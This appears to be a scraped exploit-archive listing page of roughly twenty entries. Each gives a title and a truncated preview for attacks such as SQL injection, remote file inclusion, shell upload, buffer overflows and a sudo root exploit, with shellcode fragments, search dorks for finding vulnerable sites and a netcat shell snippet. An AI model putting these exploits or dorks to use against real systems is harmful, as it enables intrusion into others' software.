linux/x86 sends "Phuck3d!" to all terminals (60 bytes) shellcode

No description provided by source. / $Id: where-is-wallie.c, v 1.0 2010/04/24 18:32:29 condis Exp $ linux/x86 sends Phuck3d! to all terminals 60 bytes shellcode by condis Tested on: Linux Debian / int mainvoid char evil = \x6a\x0b // push $0xb \x58 // pop %eax \x99 // cltd \x52 // push %edx...

Joomla Component (com_clan) SQL Injection Vulnerability

No description provided by source. Joomla Component comclan Sql Injection Vulnerability ============================================================== http://joomlacode.org/gf/project/comclan/ .:. Author : AtT4CKxT3rR0r1ST [email protected] .:. Dork : inurl:comclan === Bug ===...

tsmim Lessons Library (show.php) SQL Injection

No description provided by source. =================================================================================== tsmim lessons library sql injection Vulnerabilities =================================================================================== Exploit Title: tsmim lessons library sql...

Remotesoft .NET Explorer 2.0.1 - Local Stack Overflow PoC

No description provided by source. /usr/bin/ python print -------------------------------------------------------------- print Remotesoft .NET Explorer 2.0.1 Stack Overflow print url: http://www.remotesoft.com/ print author: shinnai print mail: shinnaiatautisticidotorg print site:...

GLLCTS2 <= 4.2.4 - (login.php detail) SQL Injection Exploit

No description provided by source. ?php / 08000000088@M@@@M@2ZZZ8@aZX;ii,,:,iir777777777777777777777777r;i:, i ,@X:i:0a7 BMMM88000000000 08888888882aMMMMM,SZZ0WZ ........ 7a2MMMMM : MMM@aZ888888888 08888888888WMMMMM78aSXi XBMMMMMMMMMMMMMM2: MB.X:. ,SMMMMMMMMMMMM. r: MMM0a8888888888...

greenpants 0.1.7 - Multiple Vulnerabilities

No description provided by source. Exploit Title: GreenPants 0.1.7 Multiple Vulnerabilities Date : 19 March 2011 Author : Ptrace Security Gianni Gnesa gnix Contact : researchatptrace-securitydotcom Software Link: http://sourceforge.net/projects/greenpants/ Version : 0.1.7 Tested on : CentOS 5.2...

Netvolution CMS <= 2.x SQL Injection Exploit Script

No description provided by source. !/usr/bin/perl Exploit Title: Netvolution exploit script for CMS Version = 2.xx.xx.xx Date: 10/6/2010 Sotware Link: www.netvolution.net Bug found : amquen, krumel Exploited by: krumel Exploit Coded: mr.pr0n Many thanks to icesurfer author of SQLNINJA and all...

BIGACE 2.4 - Multiple Remote File Inclusion Vulnerabilities

No description provided by source. / \ @ /|\ /|\ |-| / | \ /|/\ / | \ @ | |--------------------/--|-voV---|'/--Vov-|-----------------------|-| |-| '^ o o '^ | | | | \Y/' |-| |-| | | | | -=ShAd0w-CrEw=- |-| |-| | | | | |-| ||| | @ l /\ / \ /\ l |-| l / V \ \ V \ l @ l/ \I \ /'...

Aj Classifieds - Personals 3.0 - Remote Shell Upload Vulnerability

No description provided by source. AJClassifieds Personals RFu script down: http://www.ajclassifieds.net/demo/ajclassifiedsme/ClassifiedsRealestate/ ---------------------------------------------------------- Discovered By: ZoRLu msn: [email protected] Date: 16.01.09 Home: z0rlu.blogspot.com /...

sudo 1.8.0-1.8.3p1 (sudo_debug) - Root Exploit + glibc FORTIFY_SOURCE Bypass

No description provided by source. / death-star.c sudo v1.8.0-1.8.3p1 sudodebug format string root exploit + glibc FORTIFYSOURCE bypass by aeon - http://infosecabsurdity.wordpress.com/ This PoC exploits: - CVE-2012-0864 - FORTIFYSOURCE format string protection bypass via nargs integer overflow -...

WebPageTest Arbitrary PHP File Upload

No description provided by source. This file is part of the Metasploit Framework and may be subject to redistribution and commercial restrictions. Please see the Metasploit Framework web site for more information on licensing and terms of use. http://metasploit.com/framework/ require 'msf/core'...

GeekLog <= 1.4.0sr3 (_CONF[path]) Remote File Include Vulnerabilities

No description provided by source. --------------------------------------------------------------------------- GeekLog = 1.4.0 CONFpath Remote File Include Vulnerabilities --------------------------------------------------------------------------- Google d0rk: powered by geeklog Discovered By...

Atomic Photo Album 1.1.0pre4 - Blind SQL Injection Exploit

No description provided by source. ?php inisetmaxexecutiontime,0; printr' Atomic Photo Album 1.1.0pre4 - Blind SQL Injection Exploit Vulnerability discovered by: Stack Exploit coded by: Stack Greetz to: All My Freind Dork: intext:Powered by Atomic Photo Album 1.1.0pre4 Admin Panel: Target/apa/...

Ability Server 2.34 FTP STOR Buffer Overflow

No description provided by source. Ability Server 2.34 FTP STOR Buffer Overflow Advanced, secure and easy to use FTP Server. 21 Oct 2004 - muts D:\BOability-2.34-ftp-stor.py D:\data\toolsnc -v 127.0.0.1 4444 localhost 127.0.0.1 4444 ? open Microsoft Windows XP Version 5.1.2600 C Copyright 1985-20...

Jinzora Media Jukebox <= 2.8 (name) Local File Inclusion Vulnerability

No description provided by source. :::::::-. ... ::::::. :::. ;;, ';, ;; ;;;;;;;, ;;; ' . ' $$, $$$$ $$$ $$$ Y$c$$ 888,o8P'88 .d888 888 Y88 MMMMP YmmMMMM MMM YM Discovered by dun \ dunatstrcpy.pl Jinzora Media Jukebox = 2.8 Local File Inclusion Vulnerability Script site: http://jinzora.com/ ,...

Wheatblog <= 1.1 (session.php) Remote File Include Vulnerability

No description provided by source. Aria-Security.net Advisory Discovered by: O.U.T.L.A.W www.Aria-security.net Gr33t to: A.u.r.a & l2odon & DrtRp & Sh3ll ?php includeonce$wbclassdir/classDatabase.php; function StartSession global $sessiondir; if $sessiondir != '' sessionsavepath$sessiondir; if !...

MS Virtual Machine 2000/3100/3200/3300 Series com.ms.activeX.ActiveXComponent Arbitrary Program Execution

No description provided by source. source: http://www.securityfocus.com/bid/1754/info If a malicious website operator were to embed a specially crafted java object into a HTML document, it would be possible to execute arbitrary programs on a target host viewing the webpage through either Microsof...

DMXReady Classified Listings Manager <= 1.1 - SQL Injection Vulnerability

No description provided by source. Title : DMXReady Classified Listings Manager = 1.1 SQL Injection Vulnerability Author : ajann Contact : : S.Page : http://www.dmxready.com $$ : 99.97 $ Dork : inurl:incclassifiedlistingsmanager.asp DorkEx :...

Windows XP PRO SP3 - Full ROP calc shellcode

No description provided by source. / Shellcode: Windows XP PRO SP3 - Full ROP calc shellcode Author: b33f http://www.fuzzysecurity.com/ Notes: This is probably not the most efficient way but I gave the dll's a run for their money ; Greets: Donato, Jahmel OS-DLL's used: Base | Top | Size | Version...

WordPress <= 1.5.1.1 "add new admin" SQL Injection Exploit

No description provided by source. !/usr/bin/perl WordPress = 1.5.1.1 sql injection add new admin exploit by RST/GHC , http://rst.void.ru , http://ghc.ru coded by 1dt.w0lf use LWP::UserAgent; use Getopt::Std; use HTTP::Cookies; use Digest::MD5 qwmd5hex; getopts'h:p:'; $path = $opth; $pref = $optp...